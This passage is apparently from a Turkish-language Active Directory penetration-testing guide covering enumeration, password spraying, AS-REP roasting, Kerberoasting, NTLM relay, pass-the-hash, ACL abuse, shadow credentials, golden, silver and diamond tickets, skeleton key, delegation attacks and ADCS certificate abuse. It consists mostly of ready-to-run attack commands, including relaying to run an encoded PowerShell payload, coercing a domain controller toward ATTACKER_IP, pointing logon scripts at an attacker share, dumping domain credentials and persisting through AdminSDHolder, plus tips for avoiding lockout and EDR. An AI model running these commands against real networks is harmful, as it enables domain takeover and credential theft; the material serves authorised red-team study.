# Kullanıcı numaralandırma
Get-DomainUser | select samaccountname, description, memberof, useraccountcontrol, lastlogondate, passwordlastset, admincount
Get-DomainUser -Properties * | Where-Object {$_.Description -ne $null} | select samaccountname, description
# SPN'li kullanıcılar (Kerberoasting adayları)
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes
# DONT_REQUIRE_PREAUTH kullanıcıları (AS-REP Roasting adayları)
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname
# Grup numaralandırma
Get-DomainGroup | select name, description, memberof
Get-DomainGroupMember "Domain Admins" -Recurse
# Bilgisayar numaralandırma
Get-DomainComputer | select name, operatingsystem, dnshostname, ms-mcs-admpwd
# Paylaşım tarama
Find-DomainShare -Verbose
Invoke-ShareFinder -ExcludeStandard -Verbose
# LAPS okuma (AllExtendedRights veya LAPS okuma hakkı gerekli)
Get-DomainComputer | Where-Object {$_."ms-mcs-admpwdexpirationtime" -ne $null} | select name, "ms-mcs-admpwd"
# Impacket ile LDAP numaralandırma
python3 GetADUsers.py corp.local/jdoe:Password123 -all
# CrackMapExec ile kapsamlı tarama
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --groups
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --shares
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --sessions
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' --kdcHost 10.10.10.10 -M get-desc-users
# ldapsearch ile detaylı sorgular
ldapsearch -x -H ldap://10.10.10.10 -D "jdoe@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
1.3 BloodHound ile Saldırı Yolu Haritalama
BloodHound, AD nesneleri arasındaki ilişkileri graf veritabanında (Neo4j) depolar ve attack path analizi için en güçlü araçtır.
# SharpHound ile veri toplama (Windows)
.\SharpHound.exe -c All --zipfilename bloodhound_output.zip
.\SharpHound.exe -c DCOnly # sadece DC sorguları (daha hızlı)
.\SharpHound.exe -c Session # aktif oturumlar
.\SharpHound.exe -c LoggedOn # oturum açmış kullanıcılar (admin gerekli)
# BloodHound.py ile Linux'tan uzak toplama
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip
BloodHound'da kritik Cypher sorguları:
// Domain Admin'e en kısa yol
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// Kerberoastable hesaplar
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames
// AS-REP Roastable hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// Unconstrained Delegation bilgisayarları
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
// High-value hedef üzerinde yazma hakkı olan gruplar
MATCH (g:Group)-[:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(n:Computer {highvalue:true}) RETURN g.name, n.name
// AdminTo ilişkileri (local admin)
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
// Tüm DCSync haklarını listele
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name
Bölüm 2: Kimlik Bilgisi Saldırıları
2.1 Password Spraying
Brute force yerine tek şifreyi tüm kullanıcılarda deneriz — hesap kilitleme politikasını aşmak için.
# Kerbrute (Kerberos pre-auth üzerinden — log bırakır ama domain trafiği gerektirir)
./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
./kerbrute userenum -d corp.local wordlist.txt # Önce geçerli kullanıcıları bul
# CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --continue-on-success
crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --no-bruteforce
# Spray.ps1 (Windows)
Invoke-SprayEmptyPassword -UserList users.txt -Domain corp.local
Kritik: Spray öncesi Get-DomainPolicy ile lockoutThreshold değerini kontrol edin. Lockout'tan en az 2 deneme düşük kalın ve her deneme arasında 30+ dakika bekleyin.
2.2 AS-REP Roasting
Nedir? Normal Kerberos'ta istemci, AS-REQ gönderirken kullanıcının NTLM hash'i ile şifrelenmiş bir timestamp ekler (pre-authentication). Bu timestamp KDC'nin kullanıcıyı doğrulamasını sağlar. Ancak UserAccountControl attribute'undaki DONT_REQUIRE_PREAUTH flag'i (0x400000 = UF_DONT_REQUIRE_PREAUTH) aktifse, KDC bu doğrulamayı atlar ve herkes o kullanıcı için AS-REP hash'i talep edebilir. Bu hash çevrimdışı kırılabilir.
Tespit: LDAP filter: (userAccountControl:1.2.840.113556.1.4.803:=4194304)
# PowerView ile tespit
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname, useraccountcontrol
# Rubeus ile hash toplama (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
Rubeus.exe asreproast /user:svc_backup /nowrap # Belirli kullanıcı için
# Belirli bir şifreleme türü zorlamak (AES256 yerine RC4 — daha hızlı kırılır)
Rubeus.exe asreproast /nowrap /format:hashcat /rc4opsec
# Impacket GetNPUsers.py (Linux'tan)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -outputfile asrep_hashes.txt
python3 GetNPUsers.py corp.local/jdoe:Password123 -request -format hashcat -outputfile asrep_hashes.txt
# Hashcat ile kırma
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
msDS-SupportedEncryptionTypes ile ilişki:
Eğer hesabın msDS-SupportedEncryptionTypes değeri 0x17 (RC4_HMAC_MD5 + diğerleri) veya 0x04 (yalnızca RC4) ise, AS-REP hash'i RC4 ile şifrelenir — daha hızlı kırılır. Modern ortamlarda AES256 (0x18) tercih edilir ve daha uzun sürer.
# msDS-SupportedEncryptionTypes = 0 → RC4 default (eski domain)
# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4
# msDS-SupportedEncryptionTypes = 8 → yalnızca AES128
# msDS-SupportedEncryptionTypes = 16 → yalnızca AES256
# msDS-SupportedEncryptionTypes = 28 → RC4 + AES128 + AES256
2.3 Kerberoasting
Nedir? Herhangi bir kimlik doğrulanmış domain kullanıcısı, servicePrincipalName (SPN) attribute'u olan herhangi bir hesap için TGS (Ticket Granting Service) talep edebilir. Bu bilet, ilgili hizmet hesabının NTLM hash'i ile şifrelenir. Saldırgan bileti alır ve çevrimdışı kırar.
Önemli Attribute'lar:
servicePrincipalName— hangi SPN'lerin kayıtlı olduğumsDS-SupportedEncryptionTypes— şifreleme türü (RC4 = hızlı kırma, AES256 = yavaş)
# PowerView ile SPN'li hesapları bul
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes, admincount, memberof
# Rubeus (Windows) — tüm SPN'li hesaplar için TGS iste
Rubeus.exe kerberoast /nowrap
Rubeus.exe kerberoast /nowrap /rc4opsec # RC4 zorla (eski uyumluluk modu)
Rubeus.exe kerberoast /user:svc_sql /nowrap # Belirli kullanıcı
Rubeus.exe kerberoast /tgtdeleg /nowrap # TGT delegasyonu ile (noiseless)
# Impacket GetUserSPNs.py (Linux'tan)
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -target-domain corp.local
# Hashcat ile kırma
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/d3ad0ne.rule
# AES256 Kerberoast — farklı hashcat modu
hashcat -m 19700 kerberoast_aes.txt wordlist.txt
RC4 Şifreleme Zorlaması (msDS-SupportedEncryptionTypes Manipulation):
GenericWrite hakkı varsa, hedef kullanıcının msDS-SupportedEncryptionTypes attribute'unu RC4 olarak ayarlayarak daha hızlı kırılacak bilet alabilirsiniz:
# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4 (eski)
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
# Kerberoast → RC4 şifrelenmiş bilet alınır → daha hızlı kırma
Rubeus.exe kerberoast /user:svc_sql /nowrap
# Temizlik: eski değere dön
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28}
2.4 NTLM Hash Yakalama ve Relay
# Responder — ağda NTLM challenge-response yakala
sudo python3 Responder.py -I eth0 -wrf
# Yakalanan hash → /usr/share/responder/logs/
hashcat -m 5600 ntlmv2_hashes.txt wordlist.txt # NetNTLMv2
# NTLM Relay — hash'i relay ederek doğrudan erişim
# SMB signing disabled olan hedeflere relay
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc BASE64PAYLOAD"
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -i # interactive shell
# Coercion için PetitPotam (DC'yi bize auth etmeye zorla)
python3 PetitPotam.py ATTACKER_IP DC01_IP
Bölüm 3: Lateral Movement
Bir makine ele geçirildikten sonra ağda yayılım başlar.
3.1 Pass-the-Hash (PtH)
# Impacket araçları ile PtH
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 smbexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 atexec.py -hashes :NT_HASH administrator@10.10.10.10 "whoami"
# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH --sam
crackmapexec winrm 10.10.10.10 -u administrator -H NT_HASH -x "whoami"
# Evil-WinRM
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH
# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:cmd.exe
3.2 Overpass-the-Hash (OPtH)
NT hash → Kerberos TGT. NT hash'i bildiğinizde WinRM veya NTLM devre dışı olan hedeflere Kerberos ile giriş yapabilirsiniz.
# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:powershell.exe
# Yeni PowerShell penceresinde:
dir \\DC01\C$ # TGT otomatik alınır
# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt # TGT al ve enjekte et
Rubeus.exe asktgt /user:administrator /aes256:AES_HASH /ptt
3.3 Pass-the-Ticket (PtT)
# Bellekteki TGT'leri dump et
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export
# TGT'yi başka bir konuma taşı
Rubeus.exe ptt /ticket:BASE64_TICKET
Mimikatz: kerberos::ptt ticket.kirbi
# Tüm bellekteki biletleri listele
klist
Rubeus.exe klist
3.4 Uzaktan Kod Çalıştırma
# WinRM (port 5985/5986)
evil-winrm -i 10.10.10.10 -u jdoe -p 'Password123'
# WMI
python3 wmiexec.py corp.local/administrator:'Password123'@10.10.10.10
# SMB + PsExec (servis oluşturur — gürültülü)
python3 psexec.py corp.local/administrator:'Password123'@10.10.10.10
# DCOM
python3 dcomexec.py corp.local/administrator:'Password123'@10.10.10.10
Bölüm 4: ACL / ACE Tabanlı Ayrıcalık Yükseltme ve Attribute Manipülasyonu
Bu bölüm, AD testlerinin en nüanslı ve sık gözden kaçan alanıdır. Active Directory'de her nesne (kullanıcı, grup, bilgisayar, OU, GPO, domain nesnesi) bir DACL (Discretionary Access Control List) içerir. DACL, o nesne üzerinde hangi güvenilirin (trustee) ne tür erişime sahip olduğunu belirleyen ACE (Access Control Entry) listesidir.
Bir saldırgan, düşük yetkili bir hesapta belirli ACE'leri tespit ederse, bu ACE'leri kullanarak üst yetki elde edebilir ve kritik AD attribute'larını manipüle edebilir.
4.1 Tehlikeli ACE Türleri
| ACE | Nesne Türü | Saldırı Etkisi |
|---|---|---|
GenericAll |
User, Group, Computer, GPO | Tam kontrol — tüm alt saldırılar mümkün |
GenericWrite |
User, Computer | Belirli attribute'ları yaz |
WriteDACL |
Herhangi | DACL'a yeni ACE ekle → kendine izin ver |
WriteOwner |
Herhangi | Nesnenin sahibini değiştir → WriteDACL al |
AllExtendedRights |
User, Computer | ForceChangePassword, LAPS oku |
ForceChangePassword |
User | Eski şifre bilmeden şifre değiştir |
AddMember |
Group | Gruba üye ekle |
Self |
Group | Kendini gruba ekle |
WriteProperty (member) |
Group | Grup üyeliğini yaz |
ReadProperty (ms-Mcs-AdmPwd) |
Computer | LAPS şifresini oku |
DS-Replication-Get-Changes + All |
Domain | DCSync hakkı |
# Bir kullanıcı üzerindeki tüm ACE'leri listele
Get-DomainObjectAcl -Identity jdoe -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite|AllExtendedRights"
}
# Kendi hesabımızın sahip olduğu tüm ilginç ACE'leri bul
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "jdoe|IT_Helpdesk"
}
# BloodHound ile — owned olarak işaretli kullanıcıdan DA'ya outbound edges
# Queries → Shortest Paths from Owned Principals
4.2 GenericAll — Tam Kontrol
User üzerinde GenericAll:
# Şifre değiştirme (ForceChangePassword)
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# SPN set edip Kerberoast (servicePrincipalName attribute)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/service.corp.local'}
Rubeus.exe kerberoast /user:target_user /nowrap
Set-DomainObject -Identity target_user -Clear serviceprincipalname # temizlik
# Shadow Credentials (aşağıda detaylı)
Whisker.exe add /target:target_user
# Hesap devre dışı bırakma / etkinleştirme (userAccountControl)
Set-DomainObject -Identity target_user -Set @{useraccountcontrol=512} # aktif et
Group üzerinde GenericAll:
# Domain Admins grubuna üye ekle
Add-DomainGroupMember -Identity "Domain Admins" -Members jdoe
net group "Domain Admins" jdoe /add /domain
Computer üzerinde GenericAll:
# RBCD için msDS-AllowedToActOnBehalfOfOtherIdentity attribute'unu yaz
# (Aşağıda Bölüm 6'da detaylı)
4.3 GenericWrite — Seçici Yazma
# logonScript attribute'unu değiştir → kullanıcı login'de script çalışır
Set-DomainObject -Identity target_user -Set @{scriptpath='\\attacker\share\payload.bat'}
# SPN manipulation (Kerberoasting için)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fakesvc.corp.local'}
# Computer üzerinde GenericWrite → RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}
4.4 WriteDACL — DACL Manipülasyonu
# Domain nesnesi üzerinde WriteDACL varsa → DCSync hakları ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
-Rights DCSync -Verbose
# Belirli hakları ayrı ayrı ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
-Rights All -Verbose
# Kullanıcı üzerinde WriteDACL → kendine GenericAll ekle
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe `
-Rights All -Verbose
4.5 WriteOwner — Sahiplik Alma
# Nesnenin sahibini kendimiz yapıyoruz
Set-DomainObjectOwner -Identity target_user -OwnerIdentity jdoe
# Sahibi olarak WriteDACL ekleyebiliriz
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe -Rights All
4.6 Shadow Credentials — msDS-KeyCredentialLink Attribute
Shadow Credentials, 2021 yılında Elad Shamir tarafından keşfedilen bir tekniktir. Hedef kullanıcı veya bilgisayar üzerinde GenericAll ya da GenericWrite hakkınız varsa, msDS-KeyCredentialLink attribute'una kendi sertifikanızın hash'ini ekleyebilirsiniz. Bu, Windows Hello for Business (WHfB) altyapısını kullanır; PKINIT ile hedef hesabın TGT'sini alabilir ve oradan NT hash'e ulaşırsınız — şifreyi bilmeden.
# Windows — Whisker
Whisker.exe add /target:svc_sql
# Çıktı: Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"" /domain:corp.local /ptt
# Rubeus ile TGT al
Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"random" /domain:corp.local /ptt
# NT hash al (U2U PKINIT)
Rubeus.exe getnthash /ticket:BASE64_TGT /certificate:BASE64_CERT /password:"random"
# Linux — pywhisker
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add
# gettgtpkinit.py ile TGT al
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache
# NT hash al
python3 getnthash.py corp.local/svc_sql -key 'AES_SESSION_KEY'
Neden Güçlü? Şifre değiştirmeden çalışır. Antivirus/EDR tetiklemez. Kerberos kimlik doğrulama akışı normaldir. Kalıcılık sağlar (attribute silinmeden çalışmaya devam eder).
Silmek için: Whisker.exe remove /target:svc_sql /deviceid:GUID
4.7 adminCount Attribute ve AdminSDHolder
AD'de belirli yüksek yetkili grupların (Domain Admins, Schema Admins, Enterprise Admins, Backup Operators vb.) üyeleri için adminCount=1 attribute'u otomatik olarak set edilir. Bu hesaplar, AdminSDHolder nesnesiyle korunur.
# adminCount=1 olan tüm hesaplar
Get-DomainUser -AdminCount | select samaccountname, admincount, memberof
Get-DomainGroup -AdminCount | select name, admincount
# AdminSDHolder ACL'si — bu nesneye yazma = tüm korunan hesaplara kalıcı erişim
Get-DomainObjectAcl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs
# AdminSDHolder'a GenericAll ekle → saatlik SDProp çalışması ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
-PrincipalIdentity jdoe -Rights All
# Manuel SDProp tetikleme (60dk beklemeden)
Invoke-ADSDPropagation # veya regsvrtools
Savunma: Protected Users grubundaki hesaplar SDProp'tan etkilenmez ama AdminSDHolder ACL'si hâlâ tehlikelidir.
4.8 SPN Manipülasyonu (servicePrincipalName)
GenericWrite hakkınız varsa, herhangi bir kullanıcıya SPN ekleyebilirsiniz. Bu, onu Kerberoasting hedefine dönüştürür.
# SPN ekle
Set-DomainObject -Identity jdoe -Set @{serviceprincipalname='http/fake.corp.local'}
# SPN sil (test sonrası temizlik)
Set-DomainObject -Identity jdoe -Clear serviceprincipalname
4.9 logonScript ve scriptPath Attribute Abuse
# GenericWrite → logon script belirle → kullanıcı login'de çalışır
Set-ADUser -Identity target_user -ScriptPath '\\attacker_ip\share\payload.bat'
Set-DomainObject -Identity target_user -Set @{scriptpath='\\10.10.10.50\share\payload.bat'}
Bölüm 5: Kerberos Bilet Saldırıları
5.1 Golden Ticket
Domain Controller üzerinde krbtgt hash'i ele geçirildiğinde, saldırgan herhangi bir kullanıcı için sahte TGT (Golden Ticket) oluşturabilir. KDC bu bileti doğrulayamaz çünkü kendi krbtgt hash'i ile imzalanmıştır.
Gereksinimler:
krbtgtNTLM hash (DCSync ile alınır)- Domain SID (
whoami /userveyaGet-DomainSID) - Hedef kullanıcı adı (var olmayan da olabilir)
- Domain FQDN
# Domain SID öğren
Get-DomainSID # PowerView
whoami /user # SID'in S-1-5-21-XXXX-YYYY-ZZZZ-500 kısmını kullan
# Mimikatz — Golden Ticket oluştur ve belleğe enjekte et
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /ptt
# Rubeus — Golden Ticket oluştur
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt
# Dosyaya kaydet
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /outfile:golden.kirbi
Rubeus.exe ptt /ticket:golden.kirbi
Kalıcılık: krbtgt hash değişmediği sürece Golden Ticket geçerlidir. Sıfırlama sonrası bile eski hash'le oluşturulmuş biletler ~20 dakika geçerli kalabilir. Tamamen temizlemek için krbtgt şifresi 2 kez değiştirilmelidir (zira eski hash yedekte tutulur).
5.2 Silver Ticket
Bir hizmet hesabının NTLM hash'ini bildiğinizde, o hizmet için sahte TGS (Silver Ticket) oluşturabilirsiniz. KDC'ye hiç dokunmaz — tespit edilmesi çok zordur.
# Mimikatz — Silver Ticket
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /ptt
# Rubeus — Silver Ticket
Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs/fileserver.corp.local /ptt
Yaygın SPN hedefleri:
cifs/DC01.corp.local— dosya paylaşımı erişimihost/DC01.corp.local— WMI, scheduled taskrpcss/DC01.corp.local— WMIldap/DC01.corp.local— DCSync (krbtgt hash'i olmadan bile)http/intranet.corp.local— web uygulaması
5.3 Diamond Ticket
Sahte TGT oluşturmak yerine, mevcut geçerli bir TGT'yi krbtgt key ile decrypt edip içini değiştirip tekrar şifreleriz. Tespit sistemleri için daha gerçekçi görünür.
Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowprivuser /ticket:BASE64_TGT /krbkey:AES256_KRBTGT /ptt
5.4 Skeleton Key
Domain Controller'a mimikatz ile Skeleton Key yüklenir. Bundan sonra tüm hesaplar için ek şifre olarak mimikatz çalışır. Reboot sonrası kaybolur.
# DC üzerinde (Remote kod çalıştırma gerekli)
privilege::debug
misc::skeleton
# Artık corp.local\administrator:mimikatz ile giriş yapılabilir
Bölüm 6: Delegation Saldırıları
Kerberos Delegation, bir kullanıcının Kerberos biletinin bir hizmet tarafından başka bir hizmete iletilmesine izin verir. Üç türü vardır ve her biri farklı saldırı yüzeyi sunar.
6.1 Unconstrained Delegation
Attribute: TrustedForDelegation = TRUE (UserAccountControl bit 0x80000)
Kullanıcı bu bilgisayardaki bir hizmete authenticate olduğunda, o kullanıcının TGT'si bellekte saklanır. Saldırgan makineyi ele geçirirse bellekteki tüm TGT'leri dump edebilir.
# Unconstrained delegation aktif bilgisayarları bul (DC'ler hariç)
Get-DomainComputer -Unconstrained | select name, dnshostname, operatingsystem
# Bellekteki TGT'leri dump et (local admin gerekli)
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export
# DC TGT'sini çalmak için coerce saldırısı + monitor
Rubeus.exe monitor /interval:5 /nowrap # bir pencerede bekle
# Başka pencerede: DC'yi bize auth etmeye zorla
python3 PetitPotam.py WEBSERVER01_IP DC01_IP # MS-EFSR
# veya
python3 SpoolSample.py DC01 WEBSERVER01 # MS-RPRN Printer Bug
# DC TGT geldi → inject et
Rubeus.exe ptt /ticket:BASE64_DC_TGT
# DCSync çalıştır
python3 secretsdump.py -k -no-pass DC01.corp.local
6.2 Constrained Delegation
Attribute: msDS-AllowedToDelegateTo — belirli SPN listesi
Hizmet hesabı, yalnızca bu listedeki SPN'lere kullanıcı adına erişebilir. Protocol transition (S4U2Self) aktifse, hesap herhangi bir kullanıcı adına TGS alabilir.
# Constrained delegation ile hesapları bul
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
# Impacket findDelegation.py
python3 findDelegation.py corp.local/jdoe:Password123
# Rubeus — S4U2Self + S4U2Proxy
Rubeus.exe s4u /user:svc_web /rc4:HASH_OF_SVC_WEB /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
# veya AES hash ile
Rubeus.exe s4u /user:svc_web /aes256:AES_HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
# Erişim testi
dir \\DC01.corp.local\C$
6.3 Resource-Based Constrained Delegation (RBCD)
Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity — hedef bilgisayar üzerinde set edilir
RBCD'nin anahtarı: kaynağın (hedef bilgisayar) üzerinde GenericWrite veya WriteDACL hakkınız olması yeterlidir. Saldırgan bir makine hesabı oluşturur, hedef bilgisayarın bu attribute'una kendi makine hesabını yazar ve S4U ile yönetici bileti alır.
Ön Koşullar:
msDS-MachineAccountQuota≥ 1 (default: 10, domain kullanıcıları makine hesabı oluşturabilir)- Hedef bilgisayar üzerinde GenericWrite / GenericAll / WriteDACL
# 1. Makine hesabı kota kontrolü
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota
# 2. Makine hesabı oluştur (PowerMad)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)
# 3. Makine hesabının SID'ini al
$machineSid = (Get-DomainComputer FAKEMACHINE).objectsid
# 4. Hedef bilgisayarda msDS-AllowedToActOnBehalfOfOtherIdentity set et
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$machineSid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}
# Doğrulama
Get-DomainComputer TARGET_COMPUTER -Properties msds-allowedtoactonbehalfofotheridentity
# 5. S4U2Self + S4U2Proxy (Rubeus)
$fakehash = (Get-Domain).Name # RC4 hash hesapla
Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH_FROM_ABOVE /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt
# 6. Erişim testi
dir \\TARGET_COMPUTER.corp.local\C$
# Linux — Impacket ile RBCD saldırısı
python3 rbcd.py corp.local/jdoe:'Password123' -action write -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET_COMPUTER$'
python3 getST.py corp.local/'FAKEMACHINE$':'FakePass123!' -spn cifs/TARGET_COMPUTER.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass TARGET_COMPUTER.corp.local
Bölüm 7: AD Certificate Services (ADCS) Saldırıları
ADCS, kurumsal PKI altyapısı sağlar. Yanlış yapılandırılmış sertifika şablonları, domain yöneticisi seviyesinde kimlik taklidi imkânı tanır.
7.1 Keşif
# Certipy ile ADCS keşfi
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound -output adcs_bh
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' -M adcs
# Certify (Windows)
Certify.exe find /vulnerable /currentuser
7.2 ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth
Koşullar:
- Şablon flag'i:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTset - EKU: Client Authentication veya Smart Card Logon
- Yönetici onayı yok
- Domain kullanıcıları kayıt olabilir
# Sertifika iste — SAN olarak Administrator@corp.local belirt
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
-upn administrator@corp.local -dc-ip 10.10.10.10
# Sertifikayla kimlik doğrula → NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain corp.local
# NT hash ile PTH
python3 secretsdump.py -hashes :NT_HASH administrator@10.10.10.10
7.3 ESC2 — Any Purpose EKU
Şablonun EKU'su Any Purpose ise, sertifika Enrollment Agent olarak kullanılabilir ve ESC3 saldırısına geçilebilir.
7.4 ESC3 — Certificate Request Agent
# Adım 1: Enrollment Agent sertifikası al (ESC3 şablonundan)
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template ESC3Template
# Adım 2: Enrollment Agent sertifikasıyla başka kullanıcı adına sertifika iste
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template User \
-on-behalf-of 'corp\administrator' -pfx agent.pfx -dc-ip 10.10.10.10
7.5 ESC4 — Template ACL Abuse
Şablon üzerinde WriteDACL/GenericWrite varsa, şablonu ESC1'e dönüştürebilirsiniz.
# ESC4: şablonu değiştir → ESC1'e dönüştür → ESC1 saldırısını yap → geri al
certipy template -u jdoe@corp.local -p 'Password123' -template VulnerableTemplate \
-save-old -dc-ip 10.10.10.10
# Şimdi ESC1 saldırısı yap
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
-upn administrator@corp.local -dc-ip 10.10.10.10
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# Temizlik: eski şablon ayarlarını geri yükle
certipy template -u jdoe@corp.local -p 'Password123' -template VulnerableTemplate \
-configuration old_config.json -dc-ip 10.10.10.10
7.6 ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
CA seviyesinde bu flag aktifse, tüm şablonlar ESC1 gibi davranır.
# CA flag kontrolü
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout | grep -i "ATTRIBUTESUBJECTALTNAME2"
# Flag aktifse, herhangi bir Client Auth şablonunda SAN belirtebilirsiniz
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template User \
-upn administrator@corp.local -dc-ip 10.10.10.10
